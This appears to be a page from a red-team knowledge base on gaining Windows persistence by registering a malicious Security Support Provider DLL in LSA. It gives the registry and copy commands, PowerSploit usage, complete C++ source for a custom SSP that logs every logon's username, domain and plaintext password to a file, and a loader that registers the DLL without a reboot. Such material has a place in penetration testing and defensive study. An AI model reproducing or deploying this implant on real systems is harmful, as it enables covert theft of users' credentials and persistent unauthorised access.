Infiltr8: The Red-Book
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  • The Red-Book
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  • 🛠️Smart Contracts Pentesting
    • Solidity
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        • Delegatecall Attack
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        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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  • In-memory DLL injection - Credential Access
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  1. Red-Teaming
  2. Persistence
  3. Windows
  4. LSA Persistence

Security Support Provider DLLs

MITRE ATT&CK™ Boot or Logon Autostart Execution: Security Support Provider - Technique T1547.005

Last updated 1 year ago

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Theory

We may abuse to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

Practice

We won't be able to make it work If is enabled. Loaded SSP DLLs will have to be signed by Microsoft as LSASS.exe will run as a .

We may modify LSA Registry keys to add new SSPs which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. The SSP configuration is stored in this two Registry keys:

  • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

  • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages.

The project provides a DLL file (mimilib.dll) that can be used as a malicious SSP DLL that will log credentials in this file:

C:\Windows\System32\kiwissp.log 

First, you will have to copy mimilib.dll in System32

copy C:\Windows\Temp\mimilib.dll C:\Windows\System32\mimilib.dll

Then, edit LSA registry keys to include the new security support provider

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f

's Install-SSP Persistence module can be used to install a SSP DLL.

Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll

Below is the code, originally taken from , adapted and refactored, that we can compile as our own Security Support Provider DLL. It intercepts authenticatin details and saves them to a file c:\temp\lsa-pwned.txt:

sspcutsom.cpp
#include "stdafx.h"
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
	PackageInfo->Name = (SEC_WCHAR *)L"SSPCustom";
	PackageInfo->Comment = (SEC_WCHAR *)L"SSPCustom <o>";
	PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
	PackageInfo->wRPCID = SECPKG_ID_NONE;
	PackageInfo->cbMaxToken = 0;
	PackageInfo->wVersion = 1;
	return 0;
}

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	HANDLE outFile = CreateFile(L"c:\\temp\\lsa-pwned.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD bytesWritten = 0;
	
	std::wstring log = L"";
	std::wstring account = AccountName->Buffer;
	std::wstring domain = PrimaryCredentials->DomainName.Buffer;
	std::wstring password = PrimaryCredentials->Password.Buffer;

	log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
	WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
	CloseHandle(outFile);
	return 0;
}

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = 
{
	{
		NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,	SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL 
	}
};

// SpLsaModeInitialize is called by LSA for each registered Security Package
extern "C" __declspec(dllexport) NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
	*PackageVersion = SECPKG_INTERFACE_VERSION;
	*ppTables = SecurityPackageFunctionTable;
	*pcTables = 1;
	return 0;
}

Then, here is a code that loads the malicious SSP custom.dll:

load_ssp.cpp
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

int main()
{
	SECURITY_PACKAGE_OPTIONS spo = {};
	SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\temp\\sspcutsom.dll", &spo);
	return 0;
}

In-memory DLL injection - Credential Access

We may directly inject into memory. It prevent us from editing registries but using this approach, it will not persist accross reboots.

Resources

security support providers (SSPs)
LSA protection (RunAsPPL)
Protected Process Light (PPL)
Mimikatz
PowerSploit
mimikatz
SSP DLLs
LogoBoot or Logon Autostart Execution: Security Support Provider, Sub-technique T1547.005 - Enterprise | MITRE ATT&CK®
LogoPersistence – Security Support ProviderPenetration Testing Lab
LogoIntercepting Logon Credentials via Custom Security Support Provider and Authentication PackagesRed Team Notes